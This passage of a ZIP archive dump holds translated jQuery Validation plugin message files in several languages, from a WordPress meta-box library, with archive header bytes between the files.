	date: "Palun sisestage korrektne kuupäev.",
	dateISO: "Palun sisestage korrektne kuupäev (YYYY-MM-DD).",
	number: "Palun sisestage korrektne number.",
	digits: "Palun sisestage ainult numbreid.",
	equalTo: "Palun sisestage sama väärtus uuesti.",
	range: $.validator.format( "Palun sisestage väärtus vahemikus {0} kuni {1}." ),
	max: $.validator.format( "Palun sisestage väärtus, mis on väiksem või võrdne arvuga {0}." ),
	min: $.validator.format( "Palun sisestage väärtus, mis on suurem või võrdne arvuga {0}." ),
	creditcard: "Palun sisestage korrektne krediitkaardi number."
} );
return $;
}));PK     N\T5ۥ    ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_es_PE.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 * Region: PE (Perú)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, llene este campo.",
	email: "Por favor, escriba un correo electrónico válido.",
	url: "Por favor, escriba una URL válida.",
	date: "Por favor, escriba una fecha válida.",
	dateISO: "Por favor, escriba una fecha (ISO) válida.",
	number: "Por favor, escriba un número válido.",
	digits: "Por favor, escriba sólo dígitos.",
	creditcard: "Por favor, escriba un número de tarjeta válido.",
	equalTo: "Por favor, escriba el mismo valor de nuevo.",
	extension: "Por favor, escriba un valor con una extensión permitida.",
	maxlength: $.validator.format( "Por favor, no escriba más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escriba menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escriba un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escriba un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escriba un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escriba un valor mayor o igual a {0}." ),
	nifES: "Por favor, escriba un NIF válido.",
	nieES: "Por favor, escriba un NIE válido.",
	cifES: "Por favor, escriba un CIF válido."
} );
return $;
}));PK     N\~B<    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_it.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: IT (Italian; Italiano)
 */
$.extend( $.validator.messages, {
	required: "Campo obbligatorio.",
	remote: "Controlla questo campo.",
	email: "Inserisci un indirizzo email valido.",
	url: "Inserisci un indirizzo web valido.",
	date: "Inserisci una data valida.",
	dateISO: "Inserisci una data valida (ISO).",
	number: "Inserisci un numero valido.",
	digits: "Inserisci solo numeri.",
	creditcard: "Inserisci un numero di carta di credito valido.",
	equalTo: "Il valore non corrisponde.",
	extension: "Inserisci un valore con un&apos;estensione valida.",
	maxlength: $.validator.format( "Non inserire pi&ugrave; di {0} caratteri." ),
	minlength: $.validator.format( "Inserisci almeno {0} caratteri." ),
	rangelength: $.validator.format( "Inserisci un valore compreso tra {0} e {1} caratteri." ),
	range: $.validator.format( "Inserisci un valore compreso tra {0} e {1}." ),
	max: $.validator.format( "Inserisci un valore minore o uguale a {0}." ),
	min: $.validator.format( "Inserisci un valore maggiore o uguale a {0}." ),
	nifES: "Inserisci un NIF valido.",
	nieES: "Inserisci un NIE valido.",
	cifES: "Inserisci un CIF valido.",
	currency: "Inserisci una valuta valida."
} );
return $;
}));PK     N\e    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_fa.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FA (Persian; فارسی)
 */
$.extend( $.validator.messages, {
	required: "تکمیل این فیلد اجباری است.",
	remote: "لطفا این فیلد را تصحیح کنید.",
	email: "لطفا یک ایمیل صحیح وارد کنید.",
	url: "لطفا آدرس صحیح وارد کنید.",
	date: "لطفا تاریخ صحیح وارد کنید.",
	dateFA: "لطفا یک تاریخ صحیح وارد کنید.",
	dateISO: "لطفا تاریخ صحیح وارد کنید (ISO).",
	number: "لطفا عدد صحیح وارد کنید.",
	digits: "لطفا تنها رقم وارد کنید.",
	creditcard: "لطفا کریدیت کارت صحیح وارد کنید.",
	equalTo: "لطفا مقدار برابری وارد کنید.",
	extension: "لطفا مقداری وارد کنید که.",
	alphanumeric: "لطفا مقدار را عدد (انگلیسی) وارد کنید.",
	maxlength: $.validator.format( "لطفا بیشتر از {0} حرف وارد نکنید." ),
	minlength: $.validator.format( "لطفا کمتر از {0} حرف وارد نکنید." ),
	rangelength: $.validator.format( "لطفا مقداری بین {0} تا {1} حرف وارد کنید." ),
	range: $.validator.format( "لطفا مقداری بین {0} تا {1} حرف وارد کنید." ),
	max: $.validator.format( "لطفا مقداری کمتر از {0} وارد کنید." ),
	min: $.validator.format( "لطفا مقداری بیشتر از {0} وارد کنید." ),
	minWords: $.validator.format( "لطفا حداقل {0} کلمه وارد کنید." ),
	maxWords: $.validator.format( "لطفا حداکثر {0} کلمه وارد کنید." )
} );
return $;
}));PK     N\5a    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sv.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SV (Swedish; Svenska)
 */
$.extend( $.validator.messages, {
	required: "Detta f&auml;lt &auml;r obligatoriskt.",
	remote: "Var snäll och åtgärda detta fält.",
	maxlength: $.validator.format( "Du f&aring;r ange h&ouml;gst {0} tecken." ),
	minlength: $.validator.format( "Du m&aring;ste ange minst {0} tecken." ),
	rangelength: $.validator.format( "Ange minst {0} och max {1} tecken." ),
	email: "Ange en korrekt e-postadress.",
	url: "Ange en korrekt URL.",
	date: "Ange ett korrekt datum.",
	dateISO: "Ange ett korrekt datum (&Aring;&Aring;&Aring;&Aring;-MM-DD).",
	number: "Ange ett korrekt nummer.",
	digits: "Ange endast siffror.",
	equalTo: "Ange samma v&auml;rde igen.",
	range: $.validator.format( "Ange ett v&auml;rde mellan {0} och {1}." ),
	max: $.validator.format( "Ange ett v&auml;rde som &auml;r mindre eller lika med {0}." ),
	min: $.validator.format( "Ange ett v&auml;rde som &auml;r st&ouml;rre eller lika med {0}." ),
	creditcard: "Ange ett korrekt kreditkortsnummer.",
	pattern: "Ogiltigt format."
} );
return $;
}));PK     N\2$}    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_lv.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: LV (Latvian; latviešu valoda)
 */
$.extend( $.validator.messages, {
	required: "Šis lauks ir obligāts.",
	remote: "Lūdzu, pārbaudiet šo lauku.",
	email: "Lūdzu, ievadiet derīgu e-pasta adresi.",
	url: "Lūdzu, ievadiet derīgu URL adresi.",
	date: "Lūdzu, ievadiet derīgu datumu.",
	dateISO: "Lūdzu, ievadiet derīgu datumu (ISO).",
	number: "Lūdzu, ievadiet derīgu numuru.",
	digits: "Lūdzu, ievadiet tikai ciparus.",
	creditcard: "Lūdzu, ievadiet derīgu kredītkartes numuru.",
	equalTo: "Lūdzu, ievadiet to pašu vēlreiz.",
	extension: "Lūdzu, ievadiet vērtību ar derīgu paplašinājumu.",
	maxlength: $.validator.format( "Lūdzu, ievadiet ne vairāk kā {0} rakstzīmes." ),
	minlength: $.validator.format( "Lūdzu, ievadiet vismaz {0} rakstzīmes." ),
	rangelength: $.validator.format( "Lūdzu ievadiet {0} līdz {1} rakstzīmes." ),
	range: $.validator.format( "Lūdzu, ievadiet skaitli no {0} līdz {1}." ),
	max: $.validator.format( "Lūdzu, ievadiet skaitli, kurš ir mazāks vai vienāds ar {0}." ),
	min: $.validator.format( "Lūdzu, ievadiet skaitli, kurš ir lielāks vai vienāds ar {0}." )
} );
return $;
}));PK     N\akj    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ca.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: CA (Catalan; català)
 */
$.extend( $.validator.messages, {
	required: "Aquest camp és obligatori.",
	remote: "Si us plau, omple aquest camp.",
	email: "Si us plau, escriu una adreça de correu-e vàlida.",
	url: "Si us plau, escriu una URL vàlida.",
	date: "Si us plau, escriu una data vàlida.",
	dateISO: "Si us plau, escriu una data (ISO) vàlida.",
	number: "Si us plau, escriu un número enter vàlid.",
	digits: "Si us plau, escriu només dígits.",
	creditcard: "Si us plau, escriu un número de tarjeta vàlid.",
	equalTo: "Si us plau, escriu el mateix valor de nou.",
	extension: "Si us plau, escriu un valor amb una extensió acceptada.",
	maxlength: $.validator.format( "Si us plau, no escriguis més de {0} caracters." ),
	minlength: $.validator.format( "Si us plau, no escriguis menys de {0} caracters." ),
	rangelength: $.validator.format( "Si us plau, escriu un valor entre {0} i {1} caracters." ),
	range: $.validator.format( "Si us plau, escriu un valor entre {0} i {1}." ),
	max: $.validator.format( "Si us plau, escriu un valor menor o igual a {0}." ),
	min: $.validator.format( "Si us plau, escriu un valor major o igual a {0}." )
} );
return $;
}));PK     N\P    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_nl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: NL (Dutch; Nederlands, Vlaams)
 */
$.extend( $.validator.messages, {
	required: "Dit is een verplicht veld.",
	remote: "Controleer dit veld.",
	email: "Vul hier een geldig e-mailadres in.",
	url: "Vul hier een geldige URL in.",
	date: "Vul hier een geldige datum in.",
	dateISO: "Vul hier een geldige datum in (ISO-formaat).",
	number: "Vul hier een geldig getal in.",
	digits: "Vul hier alleen getallen in.",
	creditcard: "Vul hier een geldig creditcardnummer in.",
	equalTo: "Vul hier dezelfde waarde in.",
	extension: "Vul hier een waarde in met een geldige extensie.",
	maxlength: $.validator.format( "Vul hier maximaal {0} tekens in." ),
	minlength: $.validator.format( "Vul hier minimaal {0} tekens in." ),
	rangelength: $.validator.format( "Vul hier een waarde in van minimaal {0} en maximaal {1} tekens." ),
	range: $.validator.format( "Vul hier een waarde in van minimaal {0} en maximaal {1}." ),
	max: $.validator.format( "Vul hier een waarde in kleiner dan of gelijk aan {0}." ),
	min: $.validator.format( "Vul hier een waarde in groter dan of gelijk aan {0}." ),
	step: $.validator.format( "Vul hier een veelvoud van {0} in." ),

	// For validations in additional-methods.js
	iban: "Vul hier een geldig IBAN in.",
	dateNL: "Vul hier een geldige datum in.",
	phoneNL: "Vul hier een geldig Nederlands telefoonnummer in.",
	mobileNL: "Vul hier een geldig Nederlands mobiel telefoonnummer in.",
	postalcodeNL: "Vul hier een geldige postcode in.",
	bankaccountNL: "Vul hier een geldig bankrekeningnummer in.",
	giroaccountNL: "Vul hier een geldig gironummer in.",
	bankorgiroaccountNL: "Vul hier een geldig bank- of gironummer in."
} );
return $;
}));PK     N\5ݗ"  "  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_fi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FI (Finnish; suomi, suomen kieli)
 */
$.extend( $.validator.messages, {
	required: "T&auml;m&auml; kentt&auml; on pakollinen.",
	email: "Sy&ouml;t&auml; oikea s&auml;hk&ouml;postiosoite.",
	url: "Sy&ouml;t&auml; oikea URL-osoite.",
	date: "Sy&ouml;t&auml; oikea p&auml;iv&auml;m&auml;&auml;r&auml;.",
	dateISO: "Sy&ouml;t&auml; oikea p&auml;iv&auml;m&auml;&auml;r&auml; muodossa VVVV-KK-PP.",
	number: "Sy&ouml;t&auml; luku.",
	creditcard: "Sy&ouml;t&auml; voimassa oleva luottokorttinumero.",
	digits: "Sy&ouml;t&auml; pelk&auml;st&auml;&auml;n numeroita.",
	equalTo: "Sy&ouml;t&auml; sama arvo uudestaan.",
	maxlength: $.validator.format( "Voit sy&ouml;tt&auml;&auml; enint&auml;&auml;n {0} merkki&auml;." ),
	minlength: $.validator.format( "V&auml;hint&auml;&auml;n {0} merkki&auml;." ),
	rangelength: $.validator.format( "Sy&ouml;t&auml; v&auml;hint&auml;&auml;n {0} ja enint&auml;&auml;n {1} merkki&auml;." ),
	range: $.validator.format( "Sy&ouml;t&auml; arvo v&auml;lilt&auml; {0}&ndash;{1}." ),
	max: $.validator.format( "Sy&ouml;t&auml; arvo, joka on enint&auml;&auml;n {0}." ),
	min: $.validator.format( "Sy&ouml;t&auml; arvo, joka on v&auml;hint&auml;&auml;n {0}." )
} );
return $;
}));PK     N\qO    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_hi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: Hindi; हिंदी
 */
$.extend( $.validator.messages, {
	required: "आवश्यक फ़ील्ड।",
	remote:"इस फ़ील्ड को जांचें।",
	email: "एक वैध ई - मेल पते की प्रविष्टि करें।",
	url: "कृपया एक वैध वेब पता दर्ज करें।",
	date: "कृपया कोई मान्य दिनांक दर्ज करें।",
	dateISO: "कृपया एक मान्य दिनांक (ISO) दर्ज करें।",
	number: "कृपया सही अंक दर्ज करें।",
	digits: "केवल संख्याएं दर्ज करें।",
	creditcard: "कृपया एक वैध क्रेडिट कार्ड नंबर डालें।",
	equalTo: "मेल नहीं खाता।",
	extension: "कृपया एक मान्य एक्सटेंशन वाला मान दर्ज करें।",
	maxlength: $.validator.format( "अधिक दर्ज न करें {0} वर्णों में से" ),
	minlength: $.validator.format( "कृपया कम से कम {0} वर्ण दर्ज करें।" ),
	rangelength: $.validator.format( "कृपया {0} और {1} वर्णों के बीच एक मान दर्ज करें।" ),
	range: $.validator.format( "कृपया {0} और {1} के बीच एक मान दर्ज करें।" ),
	max: $.validator.format( "कृपया {0} से कम या उसके बराबर मान दर्ज करें।" ),
	min: $.validator.format( "कृपया {0} से अधिक या उसके बराबर मान दर्ज करें।" ),
	nieES: "कृपया एक मान्य NIE दर्ज करें।",
	cifES: "कृपया एक मान्य CIF दर्ज करें.",
	currency: "कृपया एक मान्य मुद्रा दर्ज करें।.",
	step: $.validator.format( "{0} का गुणज होना चाहिए।" ),
	abaRoutingNumber:"कृपया एक मान्य रूटिंग नंबर दर्ज करें।",
	accept:"कृपया एक मान्य माइमटाइप वाला मान दर्ज करें।",
	alphanumeric:"कृपया, केवल अक्षर, संख्याएं और अंडरस्कोर।",
	bankaccountNL:"कृपया एक वैध बैंक खाता संख्या निर्दिष्ट करें।",
	bankorgiroaccountNL:"कृपया एक वैध बैंक या जीरो खाता संख्या निर्दिष्ट करें।",
	bic:"कृपया कोई मान्य BIC कोड निर्दिष्ट करें।",
	ziprange:"आपका ज़िप कोड 902xx-xxxx से 905xx-xxxx की सीमा में होना चाहिए।",
	zipcodeUS:"निर्दिष्ट यूएस ज़िप कोड अमान्य है।",
	vinUS:"निर्दिष्ट वाहन पहचान संख्या (VIN) अमान्य है।",
	time12h:"कृपया 12 घंटे पूर्वाह्न/अपराह्न प्रारूप में मान्य समय दर्ज करें।",
	time:"कृपया 00:00 और 23:59 के बीच एक वैध समय दर्ज करें।",
	strippedminlength:"कृपया कम से कम {0} वर्ण दर्ज करें।",
	stateUS:"कृपया एक वैध प्रदेश निर्दिष्ट करें।",
	skip_or_fill_minimum:"कृपया या तो इन फ़ील्ड को छोड़ दें या उनमें से कम से कम {0} भरें।",
	require_from_group:"कृपया इनमें से कम से कम {0} को भरें।"
} );
return $;
}));PK     N\    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_si.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SI (Slovenian)
 */
$.extend( $.validator.messages, {
	required: "To polje je obvezno.",
	remote: "Vpis v tem polju ni v pravi obliki.",
	email: "Prosimo, vnesite pravi email naslov.",
	url: "Prosimo, vnesite pravi URL.",
	date: "Prosimo, vnesite pravi datum.",
	dateISO: "Prosimo, vnesite pravi datum (ISO).",
	number: "Prosimo, vnesite pravo številko.",
	digits: "Prosimo, vnesite samo številke.",
	creditcard: "Prosimo, vnesite pravo številko kreditne kartice.",
	equalTo: "Prosimo, ponovno vnesite enako vsebino.",
	extension: "Prosimo, vnesite vsebino z pravo končnico.",
	maxlength: $.validator.format( "Prosimo, da ne vnašate več kot {0} znakov." ),
	minlength: $.validator.format( "Prosimo, vnesite vsaj {0} znakov." ),
	rangelength: $.validator.format( "Prosimo, vnesite od {0} do {1} znakov." ),
	range: $.validator.format( "Prosimo, vnesite vrednost med {0} in {1}." ),
	max: $.validator.format( "Prosimo, vnesite vrednost manjšo ali enako {0}." ),
	min: $.validator.format( "Prosimo, vnesite vrednost večjo ali enako {0}." )
} );
return $;
}));PK     N\֒S    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_vi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: VI (Vietnamese; Tiếng Việt)
 */
$.extend( $.validator.messages, {
	required: "Hãy nhập.",
	remote: "Hãy sửa cho đúng.",
	email: "Hãy nhập email.",
	url: "Hãy nhập URL.",
	date: "Hãy nhập ngày.",
	dateISO: "Hãy nhập ngày (ISO).",
	number: "Hãy nhập số.",
	digits: "Hãy nhập chữ số.",
	creditcard: "Hãy nhập số thẻ tín dụng.",
	equalTo: "Hãy nhập thêm lần nữa.",
	extension: "Phần mở rộng không đúng.",
	maxlength: $.validator.format( "Hãy nhập từ {0} kí tự trở xuống." ),
	minlength: $.validator.format( "Hãy nhập từ {0} kí tự trở lên." ),
	rangelength: $.validator.format( "Hãy nhập từ {0} đến {1} kí tự." ),
	range: $.validator.format( "Hãy nhập từ {0} đến {1}." ),
	max: $.validator.format( "Hãy nhập từ {0} trở xuống." ),
	min: $.validator.format( "Hãy nhập từ {0} trở lên." )
} );
return $;
}));PK     N\V5  5  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_de.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: DE (German, Deutsch)
 */
$.extend( $.validator.messages, {
	required: "Dieses Feld ist ein Pflichtfeld.",
	maxlength: $.validator.format( "Geben Sie bitte maximal {0} Zeichen ein." ),
	minlength: $.validator.format( "Geben Sie bitte mindestens {0} Zeichen ein." ),
	rangelength: $.validator.format( "Geben Sie bitte mindestens {0} und maximal {1} Zeichen ein." ),
	email: "Geben Sie bitte eine gültige E-Mail-Adresse ein.",
	url: "Geben Sie bitte eine gültige URL ein.",
	date: "Geben Sie bitte ein gültiges Datum ein.",
	number: "Geben Sie bitte eine Nummer ein.",
	digits: "Geben Sie bitte nur Ziffern ein.",
	equalTo: "Wiederholen Sie bitte denselben Wert.",
	range: $.validator.format( "Geben Sie bitte einen Wert zwischen {0} und {1} ein." ),
	max: $.validator.format( "Geben Sie bitte einen Wert kleiner oder gleich {0} ein." ),
	min: $.validator.format( "Geben Sie bitte einen Wert größer oder gleich {0} ein." ),
	creditcard: "Geben Sie bitte eine gültige Kreditkarten-Nummer ein.",
	remote: "Korrigieren Sie bitte dieses Feld.",
	dateISO: "Geben Sie bitte ein gültiges Datum ein (ISO-Format).",
	step: $.validator.format( "Geben Sie bitte ein Vielfaches von {0} ein." ),
	maxWords: $.validator.format( "Geben Sie bitte {0} Wörter oder weniger ein." ),
	minWords: $.validator.format( "Geben Sie bitte mindestens {0} Wörter ein." ),
	rangeWords: $.validator.format( "Geben Sie bitte zwischen {0} und {1} Wörtern ein." ),
	accept: "Geben Sie bitte einen Wert mit einem gültigen MIME-Typ ein.",
	alphanumeric: "Geben Sie bitte nur Buchstaben (keine Umlaute), Zahlen oder Unterstriche ein.",
	bankaccountNL: "Geben Sie bitte eine gültige Kontonummer ein.",
	bankorgiroaccountNL: "Geben Sie bitte eine gültige Bank- oder Girokontonummer ein.",
	bic: "Geben Sie bitte einen gültigen BIC-Code ein.",
	cifES: "Geben Sie bitte eine gültige CIF-Nummer ein.",
	cpfBR: "Geben Sie bitte eine gültige CPF-Nummer ein.",
	creditcardtypes: "Geben Sie bitte eine gültige Kreditkarten-Nummer ein.",
	currency: "Geben Sie bitte eine gültige Währung ein.",
	extension: "Geben Sie bitte einen Wert mit einer gültigen Erweiterung ein.",
	giroaccountNL: "Geben Sie bitte eine gültige Girokontonummer ein.",
	iban: "Geben Sie bitte eine gültige IBAN ein.",
	integer:  "Geben Sie bitte eine positive oder negative Nicht-Dezimalzahl ein.",
	ipv4: "Geben Sie bitte eine gültige IPv4-Adresse ein.",
	ipv6: "Geben Sie bitte eine gültige IPv6-Adresse ein.",
	lettersonly: "Geben Sie bitte nur Buchstaben ein.",
	letterswithbasicpunc: "Geben Sie bitte nur Buchstaben oder Interpunktion ein.",
	mobileNL: "Geben Sie bitte eine gültige Handynummer ein.",
	mobileUK: "Geben Sie bitte eine gültige Handynummer ein.",
	netmask:  "Geben Sie bitte eine gültige Netzmaske ein.",
	nieES: "Geben Sie bitte eine gültige NIE-Nummer ein.",
	nifES: "Geben Sie bitte eine gültige NIF-Nummer ein.",
	nipPL: "Geben Sie bitte eine gültige NIP-Nummer ein.",
	notEqualTo: "Geben Sie bitte einen anderen Wert ein. Die Werte dürfen nicht gleich sein.",
	nowhitespace: "Kein Leerzeichen bitte.",
	pattern: "Ungültiges Format.",
	phoneNL: "Geben Sie bitte eine gültige Telefonnummer ein.",
	phonesUK: "Geben Sie bitte eine gültige britische Telefonnummer ein.",
	phoneUK: "Geben Sie bitte eine gültige Telefonnummer ein.",
	phoneUS: "Geben Sie bitte eine gültige Telefonnummer ein.",
	postalcodeBR: "Geben Sie bitte eine gültige brasilianische Postleitzahl ein.",
	postalCodeCA: "Geben Sie bitte eine gültige kanadische Postleitzahl ein.",
	postalcodeIT: "Geben Sie bitte eine gültige italienische Postleitzahl ein.",
	postalcodeNL: "Geben Sie bitte eine gültige niederländische Postleitzahl ein.",
	postcodeUK: "Geben Sie bitte eine gültige britische Postleitzahl ein.",
	require_from_group: $.validator.format( "Füllen Sie bitte mindestens {0} dieser Felder aus." ),
	skip_or_fill_minimum: $.validator.format( "Überspringen Sie bitte diese Felder oder füllen Sie mindestens {0} von ihnen aus." ),
	stateUS: "Geben Sie bitte einen gültigen US-Bundesstaat ein.",
	strippedminlength: $.validator.format( "Geben Sie bitte mindestens {0} Zeichen ein." ),
	time: "Geben Sie bitte eine gültige Uhrzeit zwischen 00:00 und 23:59 ein.",
	time12h: "Geben Sie bitte eine gültige Uhrzeit im 12-Stunden-Format ein.",
	vinUS: "Die angegebene Fahrzeugidentifikationsnummer (VIN) ist ungültig.",
	zipcodeUS: "Die angegebene US-Postleitzahl ist ungültig.",
	ziprange: "Ihre Postleitzahl muss im Bereich 902xx-xxxx bis 905xx-xxxx liegen."
} );
return $;
}));PK     N\[B]  ]  ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_pt_PT.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PT (Portuguese; português)
 * Region: PT (Portugal)
 */
$.extend( $.validator.messages, {
	required: "Campo de preenchimento obrigat&oacute;rio.",
	remote: "Por favor, corrija este campo.",
	email: "Por favor, introduza um endere&ccedil;o eletr&oacute;nico v&aacute;lido.",
	url: "Por favor, introduza um URL v&aacute;lido.",
	date: "Por favor, introduza uma data v&aacute;lida.",
	dateISO: "Por favor, introduza uma data v&aacute;lida (ISO).",
	number: "Por favor, introduza um n&uacute;mero v&aacute;lido.",
	digits: "Por favor, introduza apenas d&iacute;gitos.",
	creditcard: "Por favor, introduza um n&uacute;mero de cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	equalTo: "Por favor, introduza de novo o mesmo valor.",
	extension: "Por favor, introduza um ficheiro com uma extens&atilde;o v&aacute;lida.",
	maxlength: $.validator.format( "Por favor, n&atilde;o introduza mais do que {0} caracteres." ),
	minlength: $.validator.format( "Por favor, introduza pelo menos {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, introduza entre {0} e {1} caracteres." ),
	range: $.validator.format( "Por favor, introduza um valor entre {0} e {1}." ),
	max: $.validator.format( "Por favor, introduza um valor menor ou igual a {0}." ),
	min: $.validator.format( "Por favor, introduza um valor maior ou igual a {0}." ),
	nifES: "Por favor, introduza um NIF v&aacute;lido.",
	nieES: "Por favor, introduza um NIE v&aacute;lido.",
	cifES: "Por favor, introduza um CIF v&aacute;lido."
} );
return $;
}));PK     N\(    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_no.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: NO (Norwegian; Norsk)
 */
$.extend( $.validator.messages, {
	required: "Angi en verdi.",
	remote: "Ugyldig verdi.",
	email: "Angi en gyldig epostadresse.",
	url: "Angi en gyldig URL.",
	date: "Angi en gyldig dato.",
	dateISO: "Angi en gyldig dato (&ARING;&ARING;&ARING;&ARING;-MM-DD).",
	number: "Angi et gyldig tall.",
	digits: "Skriv kun tall.",
	equalTo: "Skriv samme verdi igjen.",
	maxlength: $.validator.format( "Maksimalt {0} tegn." ),
	minlength: $.validator.format( "Minimum {0} tegn." ),
	rangelength: $.validator.format( "Angi minimum {0} og maksimum {1} tegn." ),
	range: $.validator.format( "Angi en verdi mellom {0} og {1}." ),
	max: $.validator.format( "Angi en verdi som er mindre eller lik {0}." ),
	min: $.validator.format( "Angi en verdi som er st&oslash;rre eller lik {0}." ),
	step: $.validator.format( "Angi en verdi ganger {0}." ),
	creditcard: "Angi et gyldig kredittkortnummer."
} );
return $;
}));PK     N\Og    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_eu.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: EU (Basque; euskara, euskera)
 */
$.extend( $.validator.messages, {
	required: "Eremu hau beharrezkoa da.",
	remote: "Mesedez, bete eremu hau.",
	email: "Mesedez, idatzi baliozko posta helbide bat.",
	url: "Mesedez, idatzi baliozko URL bat.",
	date: "Mesedez, idatzi baliozko data bat.",
	dateISO: "Mesedez, idatzi baliozko (ISO) data bat.",
	number: "Mesedez, idatzi baliozko zenbaki oso bat.",
	digits: "Mesedez, idatzi digituak soilik.",
	creditcard: "Mesedez, idatzi baliozko txartel zenbaki bat.",
	equalTo: "Mesedez, idatzi berdina berriro ere.",
	extension: "Mesedez, idatzi onartutako luzapena duen balio bat.",
	maxlength: $.validator.format( "Mesedez, ez idatzi {0} karaktere baino gehiago." ),
	minlength: $.validator.format( "Mesedez, ez idatzi {0} karaktere baino gutxiago." ),
	rangelength: $.validator.format( "Mesedez, idatzi {0} eta {1} karaktere arteko balio bat." ),
	range: $.validator.format( "Mesedez, idatzi {0} eta {1} arteko balio bat." ),
	max: $.validator.format( "Mesedez, idatzi {0} edo txikiagoa den balio bat." ),
	min: $.validator.format( "Mesedez, idatzi {0} edo handiagoa den balio bat." )
} );
